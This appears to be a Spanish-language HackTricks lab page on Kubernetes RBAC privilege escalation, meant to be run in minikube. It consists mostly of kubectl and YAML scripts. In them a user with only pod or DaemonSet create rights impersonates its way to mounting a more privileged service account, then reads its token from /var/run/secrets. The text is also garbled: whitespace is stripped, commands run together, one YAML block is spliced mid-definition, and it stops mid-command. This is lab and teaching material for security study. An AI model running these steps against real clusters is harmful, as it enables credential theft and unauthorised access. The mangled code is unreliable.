Si quieres ver a tu empresa anunciada en HackTricks o si quieres acceder a la última versión de PEASS o descargar HackTricks en PDF ¡Consulta los PLANES DE SUSCRIPCIÓN!
Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub deHackTricks y HackTricks Cloud.
Puedes ejecutar estos laboratorios dentro de minikube.
Creación de Pod -> Escalada a ns SAs
Vamos a crear:
Una cuenta de servicio "test-sa" con un privilegio de clúster para leer secretos
Se creará un ClusterRole "test-cr" y un ClusterRoleBinding "test-crb"
Se darán permisos para listar y crear pods a un usuario llamado "Test"
Se creará un Role "test-r" y un RoleBinding "test-rb"
Luego confirmaremos que el SA puede listar secretos y que el usuario Test puede listar pods
Finalmente, suplantaremos al usuario Test para crear un pod que incluya el SA test-sa y robar el token de la cuenta de servicio.
Esta es la forma de mostrar que el usuario podría escalar privilegios de esta manera.
Para crear el escenario se utiliza una cuenta de administrador.
Además, para exfiltrar el token de la cuenta de servicio en este ejemplo se utiliza la cuenta de administrador para ejecutar dentro del pod creado. Sin embargo, como se explica aquí, la declaración del pod podría contener la exfiltración del token, por lo que el privilegio "exec" no es necesario para exfiltrar el token, el permiso "create" es suficiente.
# Crear cuenta de servicio test-sa# Crear rol y vinculación de roles para dar permisos de lista y creación sobre pods en el espacio de nombres predeterminado al usuario Test
# Crear clusterrole y clusterrolebinding para dar acceso al SA test-sa a los secretos en todas partesecho'apiVersion: v1kind: ServiceAccountmetadata: name: test-sa---kind: RoleapiVersion: rbac.authorization.k8s.io/v1metadata: name: test-rrules: - apiGroups: [""] resources: ["pods"] verbs: ["get", "list", "delete", "patch", "create"]---apiVersion: rbac.authorization.k8s.io/v1kind: RoleBindingmetadata: name: test-rbsubjects: - kind: ServiceAccount name: test-sa - kind: User name: TestroleRef: kind: Role name: test-r apiGroup: rbac.authorization.k8s.io---kind: ClusterRoleapiVersion: rbac.authorization.k8s.io/v1metadata: name: test-crrules: - apiGroups: [""] resources: ["secrets"] verbs: ["get", "list", "delete", "patch", "create"]---apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRoleBindingmetadata: name: test-crbsubjects: - kind: ServiceAccount namespace: default name: test-sa apiGroup: ""roleRef: kind: ClusterRole name: test-cr apiGroup: rbac.authorization.k8s.io'|kubectlapply-f-# Comprobar que test-sa puede acceder a los secretos de kube-systemkubectl--assystem:serviceaccount:default:test-sa-nkube-systemgetsecrets# Comprobar que el usuario Test puede obtener pods en el espacio de nombres predeterminadokubectl--asTest-ndefaultgetpods# Crear un pod como usuario Test con el SA test-sa (paso de escalada de privilegios)echo"apiVersion: v1kind: Podmetadata: name: test-pod namespace: defaultspec: containers: - name: alpine image: alpine command: ['/bin/sh'] args: ['-c', 'sleep 100000'] serviceAccountName: test-sa automountServiceAccountToken: true hostNetwork: true"|kubectl--asTestapply-f-# Conéctese al pod creado y confirme que el token de la cuenta de servicio adjunto pertenece a test-sakubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
# Limpiar el escenariokubectldeletepodtest-podkubectldeleteclusterrolebindingtest-crbkubectldeleteclusterroletest-crkubectldeleterolebindingtest-rbkubectldeleteroletest-rkubectldeleteserviceaccounttest-sa
Crear Daemonset
# Crear cuenta de servicio test-sa# Crear rol y vinculación de roles para dar permisos de lista y creación sobre daemonsets en el espacio de nombres predeterminado al usuario Test
# Crear clusterrole y clusterrolebinding para dar acceso al SA test-sa a los secretos en todas partesecho'apiVersion: v1kind: ServiceAccountmetadata: name: test-sa---kind: RoleapiVersion: rbac.authorization.k8s.io/v1metadata: name: test-rrules: - apiGroups: ["apps"] resources: ["daemonsets"] verbs: ["get", "list", "create"]---apiVersion: rbac.authorization.k8s.io/v1kind: RoleBindingmetadata: name: test-rbsubjects: - kind: User name: Test# Comprobar que el usuario Test puede obtener los pods en el namespace defaultkubectl --as Test -n default get daemonsets# Crear un daemonset como usuario Test con el SA test-sa (paso de escalada de privilegios)echo "apiVersion: apps/v1kind: DaemonSetmetadata: name: alpine namespace: defaultspec: selector: matchLabels: name: alpine template: metadata: labels: name: alpine spec: serviceAccountName: test-sa automountServiceAccountToken: true hostNetwork: true containers: - name: alpine image: alpine command: ['/bin/sh'] args: ['-c', 'sleep100000']"| kubectl --as Test apply -f -# Conéctese al pod creado y confirme que el token SA adjunto pertenece a test-sakubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
# Limpiar el escenariokubectl delete daemonset alpinekubectl delete clusterrolebinding test-crbkubectl delete clusterrole test-crkubectl delete rolebinding test-rbkubectl delete role test-rkubectl delete serviceaccount test-sa
No funciona
Crear/Modificar Bindings
No funciona:
Crear un nuevo RoleBinding solo con el verbo create
Crear un nuevo RoleBinding solo con el verbo patch (necesita tener permisos de binding)
No se puede hacer esto para asignar el rol a sí mismo o a un SA diferente
Modificar un nuevo RoleBinding solo con el verbo patch (necesita tener permisos de binding)
No se puede hacer esto para asignar el rol a sí mismo o a un SA diferente
echo'apiVersion: v1kind: ServiceAccountmetadata: name: test-sa---apiVersion: v1kind: ServiceAccountmetadata: name: test-sa2---kind: RoleapiVersion: rbac.authorization.k8s.io/v1metadata: name: test-rrules: - apiGroups: ["rbac.authorization.k8s.io"] resources: ["rolebindings"] verbs: ["get", "patch"]---apiVersion: rbac.authorization.k8s.io/v1kind: RoleBindingmetadata: name: test-rbsubjects: - kind: User name: TestroleRef: kind: Role name: test-r apiGroup: rbac.authorization.k8s.io---kind: RoleapiVersion: rbac.authorization.k8s.io/v1metadata: name: test-r2rules: - apiGroups: [""] resources: ["pods"] verbs: ["get", "list", "delete", "patch", "create"]---apiVersion: rbac.authorization.k8s.io/v1kind: RoleBindingmetadata: name: test-rb2subjects: - kind: ServiceAccount name: test-sa apiGroup: ""roleRef: kind: Role name: test-r2 apiGroup: rbac.authorization.k8s.io'|kubectlapply-f-# Crear un pod como usuario Test con el SA test-sa (paso de escalada de privilegios)echo"apiVersion: rbac.authorization.k8s.io/v1kind: RoleBindingmetadata: name: test-r2subjects: - kind: ServiceAccount name: test-sa2 apiGroup: ""roleRef: kind: Role name: test-r2 apiGroup: rbac.authorization.k8s.io"|kubectl--asTestapply-f-# Conéctese al pod creado y confirme que el token SA adjunto pertenece a test-sakubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
# Limpiar el escenariokubectldeleterolebindingtest-rbkubectldeleterolebindingtest-rb2kubectldeleteroletest-rkubectldeleteroletest-r2kubectldeleteserviceaccounttest-sakubectldeleteserviceaccounttest-sa2
Bindings explícitos
En la sección "Prevención de la escalada de privilegios y arranque" de https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/ se menciona que si un SA puede crear un Binding y tiene permisos explícitos de Binding sobre el Rol/ClusterRole, puede crear Bindings incluso usando Roles/ClusterRoles con permisos que no tiene.
Sin embargo, no funcionó para mí:
# Crear 2 SAs, darle a uno de ellos permisos para crear clusterrolebindings# y permisos de binding sobre el ClusterRole "admin"echo 'apiVersion:v1kind:ServiceAccountmetadata:name:test-sa---apiVersion:v1kind:ServiceAccountmetadata:name:test-sa2---kind:ClusterRoleapiVersion:rbac.authorization.k8s.io/v1metadata:name:test-crrules: - apiGroups: ["rbac.authorization.k8s.io"]resources: ["clusterrolebindings"]verbs: ["get","create"] - apiGroups: ["rbac.authorization.k8s.io/v1"]resources: ["clusterroles"]verbs: ["bind"]resourceNames: ["admin"]---apiVersion:rbac.authorization.k8s.io/v1kind:ClusterRoleBindingmetadata:name:test-crbsubjects: - kind:ServiceAccountname:test-sanamespace:defaultroleRef:kind:ClusterRolename:test-crapiGroup:rbac.authorization.k8s.io' | kubectl apply -f -# Intentar vincular el ClusterRole "admin" con el segundo SA (no funcionará)echo 'apiVersion:rbac.authorization.k8s